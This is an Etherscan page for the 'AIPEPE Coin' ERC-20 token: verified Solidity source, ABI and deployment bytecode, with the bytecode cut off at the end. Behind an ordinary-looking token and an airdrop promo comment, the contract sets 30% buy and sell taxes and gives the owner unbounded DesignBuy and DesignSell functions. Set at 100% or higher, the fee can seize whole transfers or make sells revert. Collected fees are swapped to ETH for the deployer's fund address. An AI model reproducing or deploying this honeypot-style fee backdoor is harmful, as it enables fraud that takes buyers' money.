ETH Price: $3,277.53 (+0.98%)
Gas: 2 Gwei

Token

AIPEPE Coin (AIPEPE)
 

Overview

Max Total Supply

420,690,000,000,000 AIPEPE

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
4,206,900,000 AIPEPE

Value
$0.00
0x182cc5D7708304Fb740C7109bB14A1c6480fFAB0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-21
*/

// SPDX-License-Identifier: MIT

/**
 * Website: https://www.aipepe.world/
 * Twitter: https://twitter.com/aipepe_eth
 * Telegram: https://t.me/AIPEPE_ETH
*/

/*
    AiPepe Airdrop Campaign

    We will be running an airdrop at Ethereum, with a total of 420,690,000,000,000 AiPepe.
    We will be putting 5% of the total number of AiPepe in the airdrop,
        and you can get it if you join our community!

    PEPE Holders Double !!

    There are only 5,000 copies available! Join the community and get involved!
*/

pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 3000;
    uint256 public _sellFundFee = 3000;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "AIPEPE Coin";
        _symbol = "AIPEPE";
        _decimals = 18;
        uint256 Supply = 420690000000000;

        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;

        address bossWallet = msg.sender;
        _balances[bossWallet] = _totalSupply;
        emit Transfer(address(0), bossWallet, _totalSupply);

        fundAddress = msg.sender;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[bossWallet] = true;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function DesignBuy(uint256 newFundFee) public onlyOwner{
        _buyFundFee = newFundFee;
    }

    function DesignSell(uint256 newFundFee) public onlyOwner{
        _sellFundFee = newFundFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool sellFlag;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > totalSupply() / 10**3) {
                uint256 taxFee = _buyFundFee + _sellFundFee;
                uint256 numTokensSellToFund = (amount * taxFee / 1000);
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 10000;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    event catchEvent(uint8);

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(fundAddress),
            block.timestamp
        ) {} catch { emit catchEvent(0); }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function removeERC20(address tokenAddress, uint256 amount) external {
        if (tokenAddress == address(0)){
            payable(fundAddress).transfer(amount);
        }else{
            IERC20(tokenAddress).transfer(fundAddress, amount);
        }
    }

    function multiExcludeFromFees(address[] calldata addresses, bool value) public onlyOwner{
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            _isExcludeFromFee[addresses[i]] = value;
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"","type":"uint8"}],"name":"catchEvent","type":"event"},{"inputs":[{"internalType":"uint256","name":"newFundFee","type":"uint256"}],"name":"DesignBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newFundFee","type":"uint256"}],"name":"DesignSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"multiExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052610bb8600c55610bb8600d553480156200001d57600080fd5b506000339050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280600b81526020017f41495045504520436f696e0000000000000000000000000000000000000000008152506004908162000105919062000965565b506040518060400160405280600681526020017f4149504550450000000000000000000000000000000000000000000000000000815250600590816200014c919062000965565b506012600660006101000a81548160ff021916908360ff160217905550600066017e9d8602b40090506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002a0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c6919062000ab6565b905060008173ffffffffffffffffffffffffffffffffffffffff1663c9c65396308573ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000333573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000359919062000ab6565b6040518363ffffffff1660e01b81526004016200037892919062000af9565b6020604051808303816000875af115801562000398573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003be919062000ab6565b905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600660009054906101000a900460ff16600a62000477919062000cb6565b8462000484919062000d07565b6008819055506000339050600854600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000537919062000d63565b60405180910390a333600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050505062000d80565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200076d57607f821691505b60208210810362000783576200078262000725565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620007ed7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620007ae565b620007f98683620007ae565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000846620008406200083a8462000811565b6200081b565b62000811565b9050919050565b6000819050919050565b620008628362000825565b6200087a62000871826200084d565b848454620007bb565b825550505050565b600090565b6200089162000882565b6200089e81848462000857565b505050565b5b81811015620008c657620008ba60008262000887565b600181019050620008a4565b5050565b601f8211156200091557620008df8162000789565b620008ea846200079e565b81016020851015620008fa578190505b6200091262000909856200079e565b830182620008a3565b50505b505050565b600082821c905092915050565b60006200093a600019846008026200091a565b1980831691505092915050565b600062000955838362000927565b9150826002028217905092915050565b6200097082620006eb565b67ffffffffffffffff8111156200098c576200098b620006f6565b5b62000998825462000754565b620009a5828285620008ca565b600060209050601f831160018114620009dd5760008415620009c8578287015190505b620009d4858262000947565b86555062000a44565b601f198416620009ed8662000789565b60005b8281101562000a1757848901518255600182019150602085019450602081019050620009f0565b8683101562000a37578489015162000a33601f89168262000927565b8355505b6001600288020188555050505b505050505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a7e8262000a51565b9050919050565b62000a908162000a71565b811462000a9c57600080fd5b50565b60008151905062000ab08162000a85565b92915050565b60006020828403121562000acf5762000ace62000a4c565b5b600062000adf8482850162000a9f565b91505092915050565b62000af38162000a71565b82525050565b600060408201905062000b10600083018562000ae8565b62000b1f602083018462000ae8565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000bb45780860481111562000b8c5762000b8b62000b26565b5b600185161562000b9c5780820291505b808102905062000bac8562000b55565b945062000b6c565b94509492505050565b60008262000bcf576001905062000ca2565b8162000bdf576000905062000ca2565b816001811462000bf8576002811462000c035762000c39565b600191505062000ca2565b60ff84111562000c185762000c1762000b26565b5b8360020a91508482111562000c325762000c3162000b26565b5b5062000ca2565b5060208310610133831016604e8410600b841016171562000c735782820a90508381111562000c6d5762000c6c62000b26565b5b62000ca2565b62000c82848484600162000b62565b9250905081840481111562000c9c5762000c9b62000b26565b5b81810290505b9392505050565b600060ff82169050919050565b600062000cc38262000811565b915062000cd08362000ca9565b925062000cff7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000bbd565b905092915050565b600062000d148262000811565b915062000d218362000811565b925082820262000d318162000811565b9150828204841483151762000d4b5762000d4a62000b26565b5b5092915050565b62000d5d8162000811565b82525050565b600060208201905062000d7a600083018462000d52565b92915050565b61255e8062000d906000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b6578063a9059cbb1161006f578063a9059cbb1461046b578063bceaaf1e146104a8578063ce0192f9146104d1578063dd62ed3e146104fc578063e82bef2914610539578063f2fde38b146105645761014b565b806370a082311461036f578063715018a6146103ac5780638637b069146103c35780638b00efae146103ec5780638da5cb5b1461041557806395d89b41146104405761014b565b8063313ce56711610108578063313ce5671461024957806336b2e027146102745780633bfe62ca146102b15780633ecad271146102dc5780634bf28fd01461031957806365b61b77146103445761014b565b806306fdde0314610150578063095ea7b31461017b5780630f48f2c9146101b857806318160ddd146101e157806323b872dd1461020c5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561058d565b6040516101729190611b40565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190611c00565b61061f565b6040516101af9190611c5b565b60405180910390f35b3480156101c457600080fd5b506101df60048036038101906101da9190611c76565b610636565b005b3480156101ed57600080fd5b506101f66106ce565b6040516102039190611cb2565b60405180910390f35b34801561021857600080fd5b50610233600480360381019061022e9190611ccd565b6106d8565b6040516102409190611c5b565b60405180910390f35b34801561025557600080fd5b5061025e61087e565b60405161026b9190611d3c565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190611d57565b610895565b6040516102a89190611c5b565b60405180910390f35b3480156102bd57600080fd5b506102c66108b5565b6040516102d39190611cb2565b60405180910390f35b3480156102e857600080fd5b5061030360048036038101906102fe9190611d57565b6108bb565b6040516103109190611c5b565b60405180910390f35b34801561032557600080fd5b5061032e6108db565b60405161033b9190611d93565b60405180910390f35b34801561035057600080fd5b50610359610901565b6040516103669190611e0d565b60405180910390f35b34801561037b57600080fd5b5061039660048036038101906103919190611d57565b610927565b6040516103a39190611cb2565b60405180910390f35b3480156103b857600080fd5b506103c1610970565b005b3480156103cf57600080fd5b506103ea60048036038101906103e59190611c00565b610abc565b005b3480156103f857600080fd5b50610413600480360381019061040e9190611c76565b610c04565b005b34801561042157600080fd5b5061042a610c9c565b6040516104379190611d93565b60405180910390f35b34801561044c57600080fd5b50610455610cc5565b6040516104629190611b40565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d9190611c00565b610d57565b60405161049f9190611c5b565b60405180910390f35b3480156104b457600080fd5b506104cf60048036038101906104ca9190611eb9565b610d6e565b005b3480156104dd57600080fd5b506104e6610eaf565b6040516104f39190611cb2565b60405180910390f35b34801561050857600080fd5b50610523600480360381019061051e9190611f19565b610eb5565b6040516105309190611cb2565b60405180910390f35b34801561054557600080fd5b5061054e610f3c565b60405161055b9190611d93565b60405180910390f35b34801561057057600080fd5b5061058b60048036038101906105869190611d57565b610f62565b005b60606004805461059c90611f88565b80601f01602080910402602001604051908101604052809291908181526020018280546105c890611f88565b80156106155780601f106105ea57610100808354040283529160200191610615565b820191906000526020600020905b8154815290600101906020018083116105f857829003601f168201915b5050505050905090565b600061062c33848461111c565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bb90612005565b60405180910390fd5b80600c8190555050565b6000600854905090565b60006106e5848484611207565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146108735781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107f29190612054565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b6000600660009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b600d5481565b600a6020528060005260406000206000915054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f590612005565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b5e57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b58573d6000803e3d6000fd5b50610c00565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610bbb929190612088565b6020604051808303816000875af1158015610bda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bfe91906120c6565b505b5050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8990612005565b60405180910390fd5b80600d8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610cd490611f88565b80601f0160208091040260200160405190810160405280929190818152602001828054610d0090611f88565b8015610d4d5780601f10610d2257610100808354040283529160200191610d4d565b820191906000526020600020905b815481529060010190602001808311610d3057829003601f168201915b5050505050905090565b6000610d64338484611207565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df390612005565b60405180910390fd5b60c98383905010610e0c57600080fd5b60005b83839050811015610ea9578160076000868685818110610e3257610e316120f3565b5b9050602002016020810190610e479190611d57565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080610ea290612122565b9050610e0f565b50505050565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe790612005565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361105f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611056906121b6565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111fa9190611cb2565b60405180910390a3505050565b600061121284610927565b905081811015611257576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124e90612222565b60405180910390fd5b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156112c05750600b60009054906101000a900460ff16155b80156113165750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561136c5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113ea57600061137c30610927565b90506103e86113896106ce565b6113939190612271565b8111156113e8576000600d54600c546113ac91906122a2565b905060006103e882886113bf91906122d6565b6113c99190612271565b90508281116113d857806113da565b825b90506113e58161151d565b50505b505b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561148e5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156114a75750600b60009054906101000a900460ff16155b156114b157600191505b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561150857600190505b61151586868685856117c6565b505050505050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561155557611554612318565b5b6040519080825280602002602001820160405280156115835781602001602082028036833780820191505090505b509050308160008151811061159b5761159a6120f3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611642573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611666919061235c565b8160018151811061167a576116796120f3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b815260040161173a959493929190612482565b600060405180830381600087803b15801561175457600080fd5b505af1925050508015611765575060015b6117a6577fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f166000604051611799919061250d565b60405180910390a16117a7565b5b506000600b60006101000a81548160ff02191690831515021790555050565b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118119190612054565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821561199f576000821561186e57600d54905